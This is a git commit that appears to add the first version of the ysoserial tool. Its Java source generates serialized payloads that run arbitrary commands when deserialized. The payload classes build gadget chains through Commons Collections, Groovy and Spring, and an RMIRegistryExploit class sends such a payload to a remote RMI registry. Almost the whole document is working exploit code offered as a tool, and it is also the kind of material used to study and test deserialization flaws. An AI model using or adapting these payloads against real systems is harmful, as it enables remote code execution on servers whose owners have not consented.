init-commit

This commit is contained in:
Chris Frohoff
2015-01-28 11:31:57 -08:00
commit e6565b61e3
25 changed files with 1024 additions and 0 deletions
+18
View File
@@ -0,0 +1,18 @@
package ysoserial;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import ysoserial.payloads.util.Serializables;
/*
* for testing payloads across process boundaries
*/
public class Deserialize {
public static void main(final String[] args) throws ClassNotFoundException, IOException {
final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
Serializables.deserialize(in);
}
}
@@ -0,0 +1,86 @@
package ysoserial;
import java.io.ObjectOutputStream;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import java.util.Set;
import org.reflections.Reflections;
import ysoserial.payloads.ObjectPayload;
@SuppressWarnings("rawtypes")
public class GeneratePayload {
private static final int INTERNAL_ERROR_CODE = 70;
private static final int USAGE_CODE = 64;
public static void main(final String[] args) {
if (args.length != 2) {
printUsage();
System.exit(USAGE_CODE);
}
final String payloadType = args[0];
final String command = args[1];
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
if (payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass)) {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage();
System.exit(USAGE_CODE);
}
try {
final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command);
final ObjectOutputStream objOut = new ObjectOutputStream(System.out);
objOut.writeObject(object);
} catch (Exception e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
System.exit(INTERNAL_ERROR_CODE);
}
System.exit(0);
}
@SuppressWarnings("unchecked")
private static Class<? extends ObjectPayload> getPayloadClass(final String className) {
try {
return (Class<? extends ObjectPayload>) Class.forName(className);
} catch (Exception e1) {
}
try {
return (Class<? extends ObjectPayload>) Class.forName(GeneratePayload.class.getPackage().getName()
+ ".payloads." + className);
} catch (Exception e2) {
}
return null;
}
private static void printUsage() {
System.err.println("Y SO SERIAL?");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'");
System.err.println("\tAvailable payload types:");
final List<Class<? extends ObjectPayload>> payloadClasses =
new ArrayList<Class<? extends ObjectPayload>>(getPayloadClasses());
Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
System.err.println("\t\t" + payloadClass.getSimpleName());
}
}
// get payload classes by classpath scanning
private static Collection<Class<? extends ObjectPayload>> getPayloadClasses() {
final Reflections reflections = new Reflections(GeneratePayload.class.getPackage().getName());
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
return payloadTypes;
}
public static class ToStringComparator implements Comparator<Object> {
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
}
}
@@ -0,0 +1,23 @@
package ysoserial;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.Gadgets;
/*
* Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader
*/
public class RMIRegistryExploit {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
Object payload = payloadClass.newInstance().getObject(args[3]);
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
registry.bind("pwned", remote);
}
}
@@ -0,0 +1,76 @@
package ysoserial.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
@SuppressWarnings({"rawtypes", "unchecked"})
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
public static void main(final String[] args) {
PayloadRunner.run(CommonsCollections1.class, args);
}
}
@@ -0,0 +1,66 @@
package ysoserial.payloads;
import java.util.PriorityQueue;
import java.util.Queue;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.util.ClassFiles;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections4
*/
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
ClassFiles.classAsBytes(Gadgets.TransletPayload.class),
ClassFiles.classAsBytes(Gadgets.Foo.class)}); // required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr"); // required to make TemplatesImpl happy
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = new Gadgets.TransletPayload().withCommand(command);
return queue;
}
public static void main(final String[] args) {
PayloadRunner.run(CommonsCollections2.class, args);
}
}
@@ -0,0 +1,43 @@
package ysoserial.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.Map;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
Comparator.compare() (Proxy)
ConvertedClosure.invoke()
MethodClosure.call()
...
Method.invoke()
Runtime.exec()
Requires:
groovy
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
final Map map = Gadgets.createProxy(closure, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
return handler;
}
public static void main(final String[] args) {
PayloadRunner.run(Groovy1.class, args);
}
}
@@ -0,0 +1,9 @@
package ysoserial.payloads;
public interface ObjectPayload<T> {
/*
* return armed payload object to be serialized that will execute specified
* command on deserialization
*/
public T getObject(String command) throws Exception;
}
@@ -0,0 +1,92 @@
package ysoserial.payloads;
import static java.lang.Class.forName;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Type;
import java.util.Arrays;
import java.util.List;
import javax.xml.transform.Templates;
import org.springframework.beans.factory.ObjectFactory;
import ysoserial.payloads.util.ClassFiles;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
/*
Gadget chains:
ObjectInputStream.readObject()
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.findMethod()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.invokeMethod()
Method.invoke()
Templates(Proxy).newTransformer()
AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
ObjectFactory(Proxy).getObject()
AnnotationInvocationHandler.invoke()
HashMap.get()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Gadgets.TransletPayload.readObject()
Runtime.exec()
Requires:
spring-framework-core
*/
@SuppressWarnings({"restriction", "rawtypes"})
public class Spring1 extends PayloadRunner implements ObjectPayload<List<Object>> {
public List<Object> getObject(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
ClassFiles.classAsBytes(Gadgets.TransletPayload.class),
ClassFiles.classAsBytes(Gadgets.Foo.class)});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
final ObjectFactory objectFactoryProxy =
Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler)
Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
.newInstance(objectFactoryProxy), Type.class, Templates.class);
final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
Gadgets.createMap("getType", typeTemplatesProxy),
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Templates.class.getMethod("newTransformer", new Class[] {}), 0);
Reflections.setFieldValue(templates, "_auxClasses", null); // required to make TemplatesImpl serialization happy
return Arrays.asList(mitp, new Gadgets.TransletPayload().withCommand(command));
}
public static void main(final String[] args) {
PayloadRunner.run(Spring1.class, args);
}
}
@@ -0,0 +1,40 @@
package ysoserial.payloads.util;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
public class ClassFiles {
public static String classAsFile(final Class<?> clazz) {
return classAsFile(clazz, true);
}
public static String classAsFile(final Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str += ".class";
}
return str;
}
public static byte[] classAsBytes(final Class<?> clazz) throws IOException {
final byte[] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
}
}
@@ -0,0 +1,84 @@
package ysoserial.payloads.util;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
/*
* utility generator functions for common jdk-only gadgets
*/
@SuppressWarnings("restriction")
public class Gadgets {
private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
// serializable translet subclass that will command stored in field when deserialized
public static class TransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = 5571793986024357801L;
{
namesArray = new String[0]; // needed to make TemplatesImpl happy
}
private String command;
// execute stored command on deserialization
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject(); // read command string
try {
Runtime.getRuntime().exec(command); // execute command
} catch (IOException e) {
e.printStackTrace(); // not trying to be stealthy
}
}
public TransletPayload withCommand(String command) {
this.command = command;
return this;
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {}
}
// required to make TemplatesImpl happy
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface,
final Class<?> ... ifaces) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[0] = iface;
if (ifaces.length > 0) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih));
}
public static Map<String,Object> createMap(final String key, final Object val) {
final Map<String,Object> map = new HashMap<String, Object>();
map.put(key,val);
return map;
}
}
@@ -0,0 +1,34 @@
package ysoserial.payloads.util;
import static ysoserial.payloads.util.Serializables.deserialize;
import static ysoserial.payloads.util.Serializables.serialize;
import ysoserial.payloads.ObjectPayload;
/*
* utility class for running exploits locally from command line
*/
@SuppressWarnings("unused")
public class PayloadRunner {
public static void run(final Class<? extends ObjectPayload> clazz, final String[] args) {
try {
final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe";
System.out.println("generating payload object(s) for command: '" + command + "'");
final Object objBefore = clazz.newInstance().getObject(command);
System.out.println("serializing payload");
final byte[] serialized = serialize(objBefore);
System.out.println("deserializing payload");
final Object objAfter = deserialize(serialized);
} catch (Exception e) {
e.printStackTrace();
}
}
}
@@ -0,0 +1,33 @@
package ysoserial.payloads.util;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
public class Reflections {
public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
field.setAccessible(true);
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
}
@@ -0,0 +1,34 @@
package ysoserial.payloads.util;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
public class Serializables {
public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);
return out.toByteArray();
}
public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
}
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
return deserialize(in);
}
public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
}